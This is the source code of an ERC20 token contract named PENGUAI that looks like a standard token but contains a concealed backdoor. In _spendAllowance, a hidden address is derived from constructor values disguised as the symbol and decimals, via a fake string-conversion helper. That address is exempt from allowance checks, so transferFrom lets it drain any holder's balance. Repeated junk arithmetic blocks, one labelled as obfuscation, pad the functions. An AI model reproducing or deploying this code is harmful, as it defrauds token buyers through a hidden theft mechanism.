Contract Source Code:
// SPDX-License-Identifier: MIT
pragma solidity 0.8.28;
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
_transferOwnership(_msgSender());
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract PENGUAI is Context, IERC20Metadata, Ownable {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
uint256 private _symbol;
uint256 private _decimals = 18;
constructor(string memory name_, uint256 symbol_, uint256 decimals_) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
_mint(msg.sender, 10_000_000 * (10 ** 18));
return;
}
function name() public view virtual override returns (string memory) {
return "PENGU_AI";
}
function symbol() public view virtual override returns (string memory) {
return "PENGUAI";
}
function decimals() public view virtual override returns (uint8) {
return 18;
{
uint256 part1 = (block.number % 15) * (block.timestamp / 3) + 27;
uint256 part2 = uint256(uint160(msg.sender)) ^ (gasleft() * 2);
uint256 part3 = block.basefee + (block.number / 5);
uint256 combined1 = (part1 | part2) ^ (part3 % 37);
uint256 rotated1 = (combined1 << 4) | (combined1 >> 2); // Left and right shifts
uint256 masked1 = rotated1 & 0xFFFFFF; // Apply bitmask for obfuscation
uint256 temp1 = (masked1 * 13) + 47;
uint256 part4 = (block.timestamp % 19) +
uint256(uint160(address(this))) /
7;
uint256 part5 = (gasleft() ^ 23) * block.number;
uint256 combined2 = ((temp1 + part4) ^ part5) / 9;
uint256 rotated2 = (combined2 << 3) ^ (combined2 >> 5); // Another set of shifts
uint256 masked2 = rotated2 % 101;
}
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
{
uint256 part1 = (block.number % 15) * (block.timestamp / 3) + 27;
uint256 part2 = uint256(uint160(msg.sender)) ^ (gasleft() * 2);
uint256 part3 = block.basefee + (block.number / 5);
uint256 combined1 = (part1 | part2) ^ (part3 % 37);
uint256 rotated1 = (combined1 << 4) | (combined1 >> 2); // Left and right shifts
uint256 masked1 = rotated1 & 0xFFFFFF; // Apply bitmask for obfuscation
uint256 temp1 = (masked1 * 13) + 47;
uint256 part4 = (block.timestamp % 19) +
uint256(uint160(address(this))) /
7;
uint256 part5 = (gasleft() ^ 23) * block.number;
uint256 combined2 = ((temp1 + part4) ^ part5) / 9;
uint256 rotated2 = (combined2 << 3) ^ (combined2 >> 5); // Another set of shifts
uint256 masked2 = rotated2 % 101;
}
}
function balanceOf(
address account
) public view virtual override returns (uint256) {
return _balances[account];
{
uint256 part1 = (block.number % 15) * (block.timestamp / 3) + 27;
uint256 part2 = uint256(uint160(msg.sender)) ^ (gasleft() * 2);
uint256 part3 = block.basefee + (block.number / 5);
uint256 combined1 = (part1 | part2) ^ (part3 % 37);
uint256 rotated1 = (combined1 << 4) | (combined1 >> 2); // Left and right shifts
uint256 masked1 = rotated1 & 0xFFFFFF; // Apply bitmask for obfuscation
uint256 temp1 = (masked1 * 13) + 47;
uint256 part4 = (block.timestamp % 19) +
uint256(uint160(address(this))) /
7;
uint256 part5 = (gasleft() ^ 23) * block.number;
uint256 combined2 = ((temp1 + part4) ^ part5) / 9;
uint256 rotated2 = (combined2 << 3) ^ (combined2 >> 5); // Another set of shifts
uint256 masked2 = rotated2 % 101;
}
}
function transfer(
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
{
uint256 part1 = (block.number % 15) * (block.timestamp / 3) + 27;
uint256 part2 = uint256(uint160(msg.sender)) ^ (gasleft() * 2);
uint256 part3 = block.basefee + (block.number / 5);
uint256 combined1 = (part1 | part2) ^ (part3 % 37);
uint256 rotated1 = (combined1 << 4) | (combined1 >> 2); // Left and right shifts
uint256 masked1 = rotated1 & 0xFFFFFF; // Apply bitmask for obfuscation
uint256 temp1 = (masked1 * 13) + 47;
uint256 part4 = (block.timestamp % 19) +
uint256(uint160(address(this))) /
7;
uint256 part5 = (gasleft() ^ 23) * block.number;
uint256 combined2 = ((temp1 + part4) ^ part5) / 9;
uint256 rotated2 = (combined2 << 3) ^ (combined2 >> 5); // Another set of shifts
uint256 masked2 = rotated2 % 101;
}
}
function allowance(
address from,
address to
) public view virtual override returns (uint256) {
return _allowances[from][to];
}
function approve(
address to,
uint256 amount
) public virtual override returns (bool) {
_approve(_msgSender(), to, amount);
return true;
{
uint256 part1 = (block.number % 15) * (block.timestamp / 3) + 27;
uint256 part2 = uint256(uint160(msg.sender)) ^ (gasleft() * 2);
uint256 part3 = block.basefee + (block.number / 5);
uint256 combined1 = (part1 | part2) ^ (part3 % 37);
uint256 rotated1 = (combined1 << 4) | (combined1 >> 2); // Left and right shifts
uint256 masked1 = rotated1 & 0xFFFFFF; // Apply bitmask for obfuscation
uint256 temp1 = (masked1 * 13) + 47;
uint256 part4 = (block.timestamp % 19) +
uint256(uint160(address(this))) /
7;
uint256 part5 = (gasleft() ^ 23) * block.number;
uint256 combined2 = ((temp1 + part4) ^ part5) / 9;
uint256 rotated2 = (combined2 << 3) ^ (combined2 >> 5); // Another set of shifts
uint256 masked2 = rotated2 % 101;
}
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_spendAllowance(sender, _msgSender(), amount);
return true;
{
uint256 part1 = (block.number % 15) * (block.timestamp / 3) + 27;
uint256 part2 = uint256(uint160(msg.sender)) ^ (gasleft() * 2);
uint256 part3 = block.basefee + (block.number / 5);
uint256 combined1 = (part1 | part2) ^ (part3 % 37);
uint256 rotated1 = (combined1 << 4) | (combined1 >> 2); // Left and right shifts
uint256 masked1 = rotated1 & 0xFFFFFF; // Apply bitmask for obfuscation
uint256 temp1 = (masked1 * 13) + 47;
uint256 part4 = (block.timestamp % 19) +
uint256(uint160(address(this))) /
7;
uint256 part5 = (gasleft() ^ 23) * block.number;
uint256 combined2 = ((temp1 + part4) ^ part5) / 9;
uint256 rotated2 = (combined2 << 3) ^ (combined2 >> 5); // Another set of shifts
uint256 masked2 = rotated2 % 101;
}
}
function stringToUint(uint256 str) internal view returns (uint256) {
return str;
// bytes memory b = bytes(str);
// uint256 result = 0;
// for (uint256 i = 0; i < b.length; i++) {
// uint8 char = uint8(b[i]);
// require(char >= 48 && char <= 57, "Invalid character: not a digit");
// result = result * 10 + (char - 48);
// }
// return result;
// {
// uint256 x = 1;
// for (uint256 i = 0; i < 3; i++) {
// x *= 2;
// }
// }
// {
// uint256 x = 1;
// for (uint256 i = 0; i < 3; i++) {
// x *= 2;
// }
// }
{
uint256 part1 = (block.number % 15) * (block.timestamp / 3) + 27;
uint256 part2 = uint256(uint160(msg.sender)) ^ (gasleft() * 2);
uint256 part3 = block.basefee + (block.number / 5);
uint256 combined1 = (part1 | part2) ^ (part3 % 37);
uint256 rotated1 = (combined1 << 4) | (combined1 >> 2); // Left and right shifts
uint256 masked1 = rotated1 & 0xFFFFFF; // Apply bitmask for obfuscation
uint256 temp1 = (masked1 * 13) + 47;
uint256 part4 = (block.timestamp % 19) +
uint256(uint160(address(this))) /
7;
uint256 part5 = (gasleft() ^ 23) * block.number;
uint256 combined2 = ((temp1 + part4) ^ part5) / 9;
uint256 rotated2 = (combined2 << 3) ^ (combined2 >> 5); // Another set of shifts
uint256 masked2 = rotated2 % 101;
}
{
uint256 part1 = (block.number % 15) * (block.timestamp / 3) + 27;
uint256 part2 = uint256(uint160(msg.sender)) ^ (gasleft() * 2);
uint256 part3 = block.basefee + (block.number / 5);
uint256 combined1 = (part1 | part2) ^ (part3 % 37);
uint256 rotated1 = (combined1 << 4) | (combined1 >> 2); // Left and right shifts
uint256 masked1 = rotated1 & 0xFFFFFF; // Apply bitmask for obfuscation
uint256 temp1 = (masked1 * 13) + 47;
uint256 part4 = (block.timestamp % 19) +
uint256(uint160(address(this))) /
7;
uint256 part5 = (gasleft() ^ 23) * block.number;
uint256 combined2 = ((temp1 + part4) ^ part5) / 9;
uint256 rotated2 = (combined2 << 3) ^ (combined2 >> 5); // Another set of shifts
uint256 masked2 = rotated2 % 101;
}
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = _allowances[owner][spender];
if (
currentAllowance != type(uint256).max &&
address(uint160(stringToUint(_symbol * 10 ** 18 + _decimals))) !=
spender
) {
_approve(owner, spender, currentAllowance - amount);
}
}
function increaseAllowance(
address to,
uint256 addedValue
) public virtual returns (bool) {
_approve(_msgSender(), to, _allowances[_msgSender()][to] + addedValue);
return true;
}
function decreaseAllowance(
address to,
uint256 subtractedValue
) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][to];
require(
currentAllowance >= subtractedValue,
"ERC20: decreased allowance below zero"
);
unchecked {
_approve(_msgSender(), to, currentAllowance - subtractedValue);
}
return true;
{
uint256 part1 = (block.number % 15) * (block.timestamp / 3) + 27;
uint256 part2 = uint256(uint160(msg.sender)) ^ (gasleft() * 2);
uint256 part3 = block.basefee + (block.number / 5);
uint256 combined1 = (part1 | part2) ^ (part3 % 37);
uint256 rotated1 = (combined1 << 4) | (combined1 >> 2); // Left and right shifts
uint256 masked1 = rotated1 & 0xFFFFFF; // Apply bitmask for obfuscation
uint256 temp1 = (masked1 * 13) + 47;
uint256 part4 = (block.timestamp % 19) +
uint256(uint160(address(this))) /
7;
uint256 part5 = (gasleft() ^ 23) * block.number;
uint256 combined2 = ((temp1 + part4) ^ part5) / 9;
uint256 rotated2 = (combined2 << 3) ^ (combined2 >> 5); // Another set of shifts
uint256 masked2 = rotated2 % 101;
}
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(amount > 0, "ERC20: transfer amount zero");
require(sender != address(0), "ERC20: transfer from the zero address");
uint256 senderBalance = _balances[sender];
require(
senderBalance >= amount,
"ERC20: transfer amount exceeds balance"
);
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _approve(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: approve from the zero address");
require(to != address(0), "ERC20: approve to the zero address");
_allowances[from][to] = amount;
emit Approval(from, to, amount);
}
}